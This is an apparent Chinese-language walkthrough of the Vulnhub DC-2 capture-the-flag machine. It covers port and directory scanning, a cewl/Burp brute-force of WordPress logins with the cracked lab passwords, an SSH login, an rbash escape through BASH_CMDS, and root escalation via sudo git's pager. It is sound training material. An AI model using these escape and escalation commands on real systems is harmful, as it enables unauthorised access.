【Vulnhub】DC-2靶机

Vulnhub DC-2 靶机

信息搜集

访问web端发现访问不了，可以观察到相应的URL为域名而不是IP，需要在hosts文件种添加一条DNS记录。

host位置：C:\Windows\System32\drivers\etc 

格式：192.168.124.151	dc-2

Nmap扫描结果：

root@kali:/# nmap -sV -A -p 1-65535 192.168.124.151
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-01 23:18 CST
Nmap scan report for 192.168.124.151
Host is up (0.00051s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
|   2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
|   256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_  256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
MAC Address: 00:0C:29:64:1B:F2 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录爆破：

root@kali:/dirsearch/dirsearch-master# ./dirsearch.py -u http://192.168.124.151 -e *

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions:  | HTTP method: getSuffixes: CHANGELOG.md | HTTP method: get | Threads: 10 | Wordlist size: 6564 | Request count: 6564

Error Log: /dirsearch/dirsearch-master/logs/errors-20-09-01_23-23-07.log

Target: http://192.168.124.151

Output File: /dirsearch/dirsearch-master/reports/192.168.124.151/20-09-01_23-23-07

[23:23:07] Starting: 
[23:23:08] 403 -  303B  - /.htaccess-dev                              
[23:23:08] 403 -  305B  - /.htaccess-local
[23:23:08] 403 -  304B  - /.htaccess.bak1
[23:23:08] 403 -  305B  - /.htaccess-marco
[23:23:08] 403 -  306B  - /.htaccess.sample
[23:23:08] 403 -  304B  - /.htaccess.save
[23:23:08] 403 -  304B  - /.htaccess.orig
[23:23:08] 403 -  303B  - /.htaccess.old
[23:23:08] 403 -  302B  - /.htaccessOLD
[23:23:08] 403 -  303B  - /.htaccess.txt
[23:23:08] 403 -  303B  - /.htaccessOLD2
[23:23:08] 403 -  302B  - /.htaccessBAK
[23:23:08] 403 -  303B  - /.htpasswd-old
[23:23:08] 403 -  301B  - /.httr-oauth
[23:23:09] 403 -  294B  - /.php                                       
[23:23:16] 200 -   52KB - /index.php                                                                              
[23:23:16] 200 -   19KB - /license.txt                                                                  
[23:23:18] 200 -    7KB - /readme.html                                                         
[23:23:18] 403 -  303B  - /server-status                                                                
[23:23:18] 403 -  304B  - /server-status/
[23:23:20] 301 -  321B  - /wp-admin  ->  http://192.168.124.151/wp-admin/                                         
[23:23:20] 301 -  323B  - /wp-content  ->  http://192.168.124.151/wp-content/
[23:23:20] 200 -    0B  - /wp-content/                
[23:23:20] 200 -   69B  - /wp-content/plugins/akismet/akismet.php
[23:23:20] 301 -  324B  - /wp-includes  ->  http://192.168.124.151/wp-includes/        
[23:23:21] 500 -    0B  - /wp-includes/rss-functions.php         
[23:23:21] 200 -   40KB - /wp-includes/       
[23:23:21] 200 -    2KB - /wp-login.php                      
[23:23:21] 500 -    4KB - /wp-admin/setup-config.php
[23:23:21] 302 -    0B  - /wp-admin/  ->  http://dc-2/wp-login.php?redirect_to=http%3A%2F%2F192.168.124.151%2Fwp-admin%2F&reauth=1
[23:23:21] 200 -    1KB - /wp-admin/install.php
[23:23:22] 405 -   42B  - /xmlrpc.php

存在akismet插件

includes目录存在目录遍历漏洞

web指纹识别：

为一个wordpress站点

Flag1：

在页面发现Flag1，提示需要用cewl生成字典然后丢去burpsuite爆破

并且根据上面的目录爆破确实有一个login的页面

爆破账号

cewl生成密码字典保存在桌面

cewl -w ./dc.txt http://dc-2

启动burp进行爆破

爆破出2个账号

tom       parturient
jerry     adipiscing

Flag2

但是都无权限上传文件，但是jerry账号登录后发现flag2

如果从Wordpress找不到拿权限的地方那就尝试别的切入点

网上冲浪了一番，发现没什么可以好利用的。

于是利用tom账号试一下之前7744的那个ssh端口

Xshell成功登录！

Flag3

最终在tom账号登陆后发现flag3

flag3提示需要切换到jerry账户

但是发现命令都不可以用，查询一下报错信息

tom@DC-2:~$ whoami
-rbash: whoami: command not found
tom@DC-2:~$ id
-rbash: id: command not found
tom@DC-2:~$ cat
-rbash: cat: command not found

rbash简介：

rbash(The restricted mode of bash),也就是限制型bash；是平时所谓的 restricted shell的一种，也是最常见的 restricted shell（rbash、ksh、rsh等）

也就是说需要逃逸出当前的rbash环境

https://xz.aliyun.com/t/7642 ---> 先知社区rbash逃逸参考文章

晚上有很多相关文章，但是尝试后发现都未成功

可以尝试下面流程

逃脱rbash限制

BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

附上参考文章

https://www.cnblogs.com/xiaoxiaoleo/p/8450379.html

https://blog.csdn.net/qq_38677814/article/details/80003851

Flag4

然后发现在home/jerry目录下有flag4

Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

所以还是提权~提示使用git命令提权

这里不会 只能百度一下

先sudo -l查看一下用户权限

jerry@DC-2:~$ sudo -l
Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git

发现果然可以 sudo 不用密码执行git

sudo git -p 提权

执行 sudo git -p --help （终端窗口拉小点）

原理是查看git的帮助文档可以利用-p分页，而一旦出现分页即可用命令行模式

在命令行模式下输入!/bin/bash 调出root权限的shell环境

less命令同样适用此参数

模糊查找并获取最终flag

root@DC-2:/# find / -name '*flag*.txt'
/home/tom/flag3.txt
/home/jerry/flag4.txt
/root/final-flag.txt
root@DC-2:/# cat /root/final-flag.txt 
 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.